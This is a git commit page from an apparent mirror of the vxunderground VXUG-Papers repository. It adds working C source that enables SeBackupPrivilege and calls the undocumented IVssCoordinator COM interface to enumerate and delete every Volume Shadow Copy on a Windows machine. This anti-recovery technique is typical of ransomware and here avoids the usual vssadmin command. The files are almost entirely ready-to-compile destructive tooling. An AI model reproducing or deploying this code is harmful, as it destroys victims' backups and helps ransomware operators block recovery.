mirror of
https://github.com/vxunderground/VXUG-Papers.git
synced 2026-06-16 15:59:25 +00:00
Add files via upload
This commit is contained in:
@@ -0,0 +1,47 @@
|
||||
/**
|
||||
* @file main.c
|
||||
* @date 05/07/2021
|
||||
* @author Paul L. (@am0nsec)
|
||||
* @version 1.0
|
||||
* @brief
|
||||
* @details
|
||||
* @link
|
||||
* @copyright This project has been released under the GNU Public License v3 license.
|
||||
*/
|
||||
#include <windows.h>
|
||||
#include <stdio.h>
|
||||
|
||||
#include "util.h"
|
||||
#include "vssutil.h"
|
||||
|
||||
INT main() {
|
||||
|
||||
// 1. Ensure that the process token as the SeBackupPrivilege privilege.
|
||||
EXIT_ON_FAILURE(AssertPrivilege());
|
||||
|
||||
// 2. Initialise COM context
|
||||
EXIT_ON_FAILURE(InitialiseProcess());
|
||||
|
||||
// 3. Get the interface
|
||||
IVssCoordinator* pIVssCoordinator = NULL;
|
||||
THROW_ON_FAILURE(CoCreateInstance(
|
||||
&CLSID_CVssCoordinator,
|
||||
NULL,
|
||||
(/*CLSCTX_REMOTE_SERVER |*/ CLSCTX_LOCAL_SERVER),
|
||||
&IID_IVssCoordinator,
|
||||
(LPVOID*)&pIVssCoordinator
|
||||
));
|
||||
THROW_ON_FAILURE(pIVssCoordinator->lpVtbl->SetContext(pIVssCoordinator, -1));
|
||||
|
||||
// 4. Get the IVssEnumObject interface
|
||||
VSS_OBJECT_PROP* pVssSnapshots = NULL;
|
||||
LONG lNumberOfSnapshots = 0x00;
|
||||
|
||||
VssUtilListSnapshots(pIVssCoordinator, &pVssSnapshots, &lNumberOfSnapshots);
|
||||
VssUtilDeleteSnapshots(pIVssCoordinator, pVssSnapshots, lNumberOfSnapshots);
|
||||
|
||||
// xx. Uninitialise COM context and exit.
|
||||
THROW_ON_FAILURE(pIVssCoordinator->lpVtbl->Release(pIVssCoordinator));
|
||||
CoUninitialize();
|
||||
return EXIT_SUCCESS;
|
||||
}
|
||||
@@ -0,0 +1,97 @@
|
||||
/**
|
||||
* @file util.h
|
||||
* @date 05/07/2021
|
||||
* @author Paul L. (@am0nsec)
|
||||
* @version 1.0
|
||||
* @brief
|
||||
* @details
|
||||
* @link
|
||||
* @copyright This project has been released under the GNU Public License v3 license.
|
||||
*/
|
||||
#ifndef __UTIL_H_GUARD__
|
||||
#define __UTIL_H_GUARD__
|
||||
|
||||
#include <Windows.h>
|
||||
|
||||
#define EXIT_ON_FAILURE(exp) \
|
||||
if (FAILED(exp)) { return EXIT_FAILURE; }
|
||||
|
||||
#define THROW_ON_FAILURE(exp) \
|
||||
if (FAILED(exp)) { return E_FAIL; }
|
||||
|
||||
/**
|
||||
* @brief Ensure that the token has the SeBackupPrivilege privilege.
|
||||
* @return Wether the token has the SeBackupPrivilege privilege.
|
||||
*/
|
||||
_Success_(return == S_OK) _Must_inspect_result_
|
||||
HRESULT AssertPrivilege(VOID) {
|
||||
|
||||
// 1. Get handle to the token object.
|
||||
HANDLE hProcess = (HANDLE) -1;
|
||||
HANDLE hToken = INVALID_HANDLE_VALUE;
|
||||
OpenProcessToken(hProcess, TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES, &hToken);
|
||||
if (hToken == INVALID_HANDLE_VALUE)
|
||||
return E_FAIL;
|
||||
|
||||
// 2. Adjust the token privileges if required.
|
||||
TOKEN_PRIVILEGES TokenPrivileges = { 0x00 };
|
||||
DWORD dwTokenLenght = 0x00;
|
||||
LUID LocalIdentifier = { 0x00 };
|
||||
|
||||
|
||||
if (LookupPrivilegeValueW(NULL, L"SeBackupPrivilege", &LocalIdentifier)) {
|
||||
TokenPrivileges.Privileges[0x0].Luid = LocalIdentifier;
|
||||
TokenPrivileges.Privileges[0x00].Attributes = SE_PRIVILEGE_ENABLED_BY_DEFAULT | SE_PRIVILEGE_ENABLED;
|
||||
TokenPrivileges.PrivilegeCount = 0x01;
|
||||
|
||||
if (!AdjustTokenPrivileges(hToken, FALSE, &TokenPrivileges, 0x00, NULL, &dwTokenLenght)) {
|
||||
CloseHandle(hToken);
|
||||
return E_FAIL;
|
||||
}
|
||||
}
|
||||
|
||||
// 3. Close handle and return.
|
||||
CloseHandle(hToken);
|
||||
return S_OK;
|
||||
}
|
||||
|
||||
/**
|
||||
* @brief Initialise the process to be able to use various COM servers.
|
||||
* @return Whether the process has been successfully initialised.
|
||||
*/
|
||||
_Success_(return == S_OK) _Must_inspect_result_
|
||||
HRESULT InitialiseProcess() {
|
||||
// 1. Initialise COM context
|
||||
THROW_ON_FAILURE(CoInitializeEx(NULL, 0x00));
|
||||
THROW_ON_FAILURE(CoInitializeSecurity(
|
||||
NULL,
|
||||
-1,
|
||||
NULL,
|
||||
NULL,
|
||||
RPC_C_AUTHN_LEVEL_PKT_PRIVACY,
|
||||
RPC_C_IMP_LEVEL_IDENTIFY,
|
||||
NULL,
|
||||
EOAC_NONE,
|
||||
NULL
|
||||
));
|
||||
|
||||
// 2. Disable SEH
|
||||
IGlobalOptions* pIGlobalOptions = NULL;
|
||||
THROW_ON_FAILURE(CoCreateInstance(
|
||||
&CLSID_GlobalOptions,
|
||||
NULL,
|
||||
CLSCTX_INPROC_SERVER,
|
||||
&IID_IGlobalOptions,
|
||||
(LPVOID*)&pIGlobalOptions
|
||||
));
|
||||
THROW_ON_FAILURE(pIGlobalOptions->lpVtbl->Set(
|
||||
pIGlobalOptions,
|
||||
COMGLB_EXCEPTION_HANDLING,
|
||||
COMGLB_EXCEPTION_DONOT_HANDLE
|
||||
));
|
||||
pIGlobalOptions->lpVtbl->Release(pIGlobalOptions);
|
||||
|
||||
return S_OK;
|
||||
}
|
||||
|
||||
#endif // !__UTIL_H_GUARD__
|
||||
@@ -0,0 +1,231 @@
|
||||
/**
|
||||
* @file vssutil.h
|
||||
* @date 05/07/2021
|
||||
* @author Paul L. (@am0nsec)
|
||||
* @version 1.0
|
||||
* @brief
|
||||
* @details
|
||||
* @link
|
||||
* @copyright This project has been released under the GNU Public License v3 license.
|
||||
*/
|
||||
#ifndef __VSSUTIL_H_GUARD__
|
||||
#define __VSSUTIL_H_GUARD__
|
||||
|
||||
#include <Windows.h>
|
||||
#include <vss.h>
|
||||
|
||||
/**
|
||||
* @brief GUID of the IVssCoordinator COM interface: da9f41d4-1a5d-41d0-a614-6dfd78df5d05
|
||||
*/
|
||||
CONST IID IID_IVssCoordinator = { 0xda9f41d4, 0x1a5d, 0x41d0, {0xa6, 0x14, 0x6d, 0xfd, 0x78, 0xdf, 0x5d, 0x05} };
|
||||
|
||||
/**
|
||||
* @brief GUID of the CVssCoordinator class: e579ab5f-1cc4-44b4-bed9-de0991ff0623
|
||||
*/
|
||||
CONST IID CLSID_CVssCoordinator = { 0xe579ab5f, 0x1cc4, 0x44b4, {0xbe, 0xd9, 0xde, 0x09, 0x91, 0xff, 0x06, 0x23} };
|
||||
|
||||
typedef interface IVssCoordinator IVssCoordinator;
|
||||
|
||||
typedef struct VssCoordinatorVtbl {
|
||||
BEGIN_INTERFACE
|
||||
|
||||
/**
|
||||
* @brief QueryInterface method from IUnknown
|
||||
*/
|
||||
HRESULT(STDMETHODCALLTYPE* QueryInterface) (
|
||||
_In_ IVssCoordinator* This,
|
||||
_In_ REFIID riid,
|
||||
_Out_ PVOID* ppvObject
|
||||
);
|
||||
|
||||
/**
|
||||
* @brief AddRef from IUnknown
|
||||
*/
|
||||
ULONG(STDMETHODCALLTYPE* AddRef)(
|
||||
_In_ IVssCoordinator* This
|
||||
);
|
||||
|
||||
/**
|
||||
* @brief Release from IUnknown
|
||||
*/
|
||||
ULONG(STDMETHODCALLTYPE* Release)(
|
||||
_In_ IVssCoordinator* This
|
||||
);
|
||||
|
||||
/**
|
||||
* /!\
|
||||
* Everything below this line has been extracted via OleView.Net and VSSVC.exe image.
|
||||
* Some of the methods might be wrong
|
||||
* /!\
|
||||
*/
|
||||
HRESULT(STDMETHODCALLTYPE* SetContext)(
|
||||
_In_ IVssCoordinator* This,
|
||||
_In_ LONG p0
|
||||
);
|
||||
HRESULT(STDMETHODCALLTYPE* StartSnapshotSet)(
|
||||
_In_ IVssCoordinator* This,
|
||||
_Out_ GUID* p0
|
||||
);
|
||||
HRESULT(STDMETHODCALLTYPE* AddToSnapshotSet)(
|
||||
_In_ IVssCoordinator* This,
|
||||
_In_ WCHAR* p0,
|
||||
_In_ GUID p1,
|
||||
_Out_ GUID* p2
|
||||
);
|
||||
HRESULT(STDMETHODCALLTYPE* DoSnapshotSet)(
|
||||
_In_ IVssCoordinator* This,
|
||||
_In_ IDispatch* p0,
|
||||
_Out_ IVssAsync** p1
|
||||
);
|
||||
HRESULT(STDMETHODCALLTYPE* GetSnapshotProperties)(
|
||||
_In_ IVssCoordinator* This,
|
||||
_In_ GUID p0,
|
||||
_Out_ VSS_SNAPSHOT_PROP* p1
|
||||
);
|
||||
HRESULT(STDMETHODCALLTYPE* ExposeSnapshot)(
|
||||
_In_ IVssCoordinator* This,
|
||||
_In_ GUID p0,
|
||||
_In_ WCHAR* p1,
|
||||
_In_ LONG p2,
|
||||
_In_ WCHAR* p3,
|
||||
_Out_ WCHAR** p4
|
||||
);
|
||||
HRESULT(STDMETHODCALLTYPE* ImportSnapshots)(
|
||||
_In_ IVssCoordinator* This,
|
||||
_In_ USHORT* p0,
|
||||
_Out_ IVssAsync** p1
|
||||
);
|
||||
HRESULT(STDMETHODCALLTYPE* Query)(
|
||||
_In_ IVssCoordinator* This,
|
||||
_In_ GUID p0,
|
||||
_In_ VSS_OBJECT_TYPE p1,
|
||||
_In_ VSS_OBJECT_TYPE p2,
|
||||
_Out_ IVssEnumObject** p3
|
||||
);
|
||||
HRESULT(STDMETHODCALLTYPE* DeleteSnapshots)(
|
||||
_In_ IVssCoordinator* This,
|
||||
_In_ GUID ShadowCopyID,
|
||||
_In_ VSS_OBJECT_TYPE ObjType,
|
||||
_In_ INT p2,
|
||||
_Out_ LONG* p3,
|
||||
_Out_ GUID* p4
|
||||
);
|
||||
HRESULT(STDMETHODCALLTYPE* BreakSnapshotSet)(
|
||||
_In_ IVssCoordinator* This,
|
||||
_In_ GUID p0
|
||||
);
|
||||
HRESULT(STDMETHODCALLTYPE* RevertToSnapshot)(
|
||||
_In_ IVssCoordinator* This,
|
||||
_In_ GUID p0,
|
||||
_In_ INT p1
|
||||
);
|
||||
HRESULT(STDMETHODCALLTYPE* QueryRevertStatus)(
|
||||
_In_ IVssCoordinator* This,
|
||||
_In_ WCHAR* p0,
|
||||
_Out_ IVssAsync** p1
|
||||
);
|
||||
HRESULT(STDMETHODCALLTYPE* IsVolumeSupported)(
|
||||
_In_ IVssCoordinator* This,
|
||||
_In_ GUID p0,
|
||||
_In_ WCHAR* p1,
|
||||
_Out_ INT* p2
|
||||
);
|
||||
HRESULT(STDMETHODCALLTYPE* IsVolumeSnapshotted)(
|
||||
_In_ IVssCoordinator* This,
|
||||
_In_ GUID p0,
|
||||
_In_ WCHAR* p1,
|
||||
_Out_ INT* p2,
|
||||
_Out_ LONG* p3
|
||||
);
|
||||
HRESULT(STDMETHODCALLTYPE* SetWriterInstance)(
|
||||
_In_ IVssCoordinator* This,
|
||||
_In_ LONG p0,
|
||||
_Out_ GUID* p1
|
||||
);
|
||||
|
||||
END_INTERFACE
|
||||
} VssCoordinatorVtbl;
|
||||
|
||||
interface IVssCoordinator {
|
||||
CONST_VTBL struct VssCoordinatorVtbl* lpVtbl;
|
||||
};
|
||||
|
||||
|
||||
HRESULT VssUtilListSnapshots(
|
||||
_In_ IVssCoordinator* pIVssCoordinator,
|
||||
_Out_ VSS_OBJECT_PROP** ppVssSnapshots,
|
||||
_Out_ LONG* plNumberOfSnapshots
|
||||
) {
|
||||
// 1. Get the IVssEnumObject interface
|
||||
IVssEnumObject* pIVssEnumObject = NULL;
|
||||
THROW_ON_FAILURE(pIVssCoordinator->lpVtbl->Query(
|
||||
pIVssCoordinator,
|
||||
GUID_NULL,
|
||||
VSS_OBJECT_NONE,
|
||||
VSS_OBJECT_SNAPSHOT,
|
||||
&pIVssEnumObject
|
||||
));
|
||||
|
||||
// 2. Get all the snapshots
|
||||
ULONG ulObjects = 0x10;
|
||||
ULONG ulFetchedObjects = 0x00;
|
||||
*ppVssSnapshots = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(VSS_OBJECT_PROP) * ulObjects);
|
||||
|
||||
THROW_ON_FAILURE(pIVssEnumObject->lpVtbl->Next(
|
||||
pIVssEnumObject,
|
||||
ulObjects,
|
||||
*ppVssSnapshots,
|
||||
plNumberOfSnapshots
|
||||
));
|
||||
|
||||
// 3. Cleanup and return.
|
||||
pIVssEnumObject->lpVtbl->Release(pIVssEnumObject);
|
||||
return S_OK;
|
||||
}
|
||||
|
||||
HRESULT VssUtilDeleteSnapshots(
|
||||
_In_ IVssCoordinator* pIVssCoordinator,
|
||||
_Out_ VSS_OBJECT_PROP* pVssSnapshots,
|
||||
_Out_ LONG lNumberOfSnapshots
|
||||
) {
|
||||
// 1. Get param ready
|
||||
LPWSTR wszShadowCopySetId = (LPWSTR)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 0x20 * sizeof(WCHAR));
|
||||
LPWSTR wszShadowCopyId = (LPWSTR)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 0x20 * sizeof(WCHAR));
|
||||
|
||||
// 2. Parse all entries
|
||||
while (lNumberOfSnapshots--) {
|
||||
VSS_OBJECT_PROP Element = pVssSnapshots[lNumberOfSnapshots];
|
||||
if (Element.Type != VSS_OBJECT_SNAPSHOT)
|
||||
continue;
|
||||
|
||||
// Get the GUIDs
|
||||
RtlZeroMemory(wszShadowCopySetId, 0x20 * sizeof(WCHAR));
|
||||
RtlZeroMemory(wszShadowCopyId, 0x20 * sizeof(WCHAR));
|
||||
StringFromGUID2(&Element.Obj.Snap.m_SnapshotSetId, wszShadowCopySetId, 0x20 * sizeof(WCHAR));
|
||||
StringFromGUID2(&Element.Obj.Snap.m_SnapshotId, wszShadowCopyId, 0x20 * sizeof(WCHAR));
|
||||
|
||||
// Display information
|
||||
wprintf(L"Delleting following candidate: \n");
|
||||
wprintf(L"\tShadow copy set ID: %s\n", wszShadowCopySetId);
|
||||
wprintf(L"\tShadow copy ID: %s\n\n", wszShadowCopyId);
|
||||
|
||||
// Delete snapshot
|
||||
LONG lSomething = 0x00;
|
||||
GUID SomethingElse = { 0x00 };
|
||||
THROW_ON_FAILURE(pIVssCoordinator->lpVtbl->DeleteSnapshots(
|
||||
pIVssCoordinator,
|
||||
Element.Obj.Snap.m_SnapshotId,
|
||||
VSS_OBJECT_SNAPSHOT,
|
||||
1,
|
||||
&lSomething,
|
||||
&SomethingElse
|
||||
));
|
||||
}
|
||||
|
||||
// 3. Cleanup and return
|
||||
HeapFree(GetProcessHeap(), 0x00, wszShadowCopySetId);
|
||||
HeapFree(GetProcessHeap(), 0x00, wszShadowCopyId);
|
||||
return S_OK;
|
||||
}
|
||||
|
||||
#endif // !__VSSUTIL_H_GUARD__
|
||||
Reference in New Issue
Block a user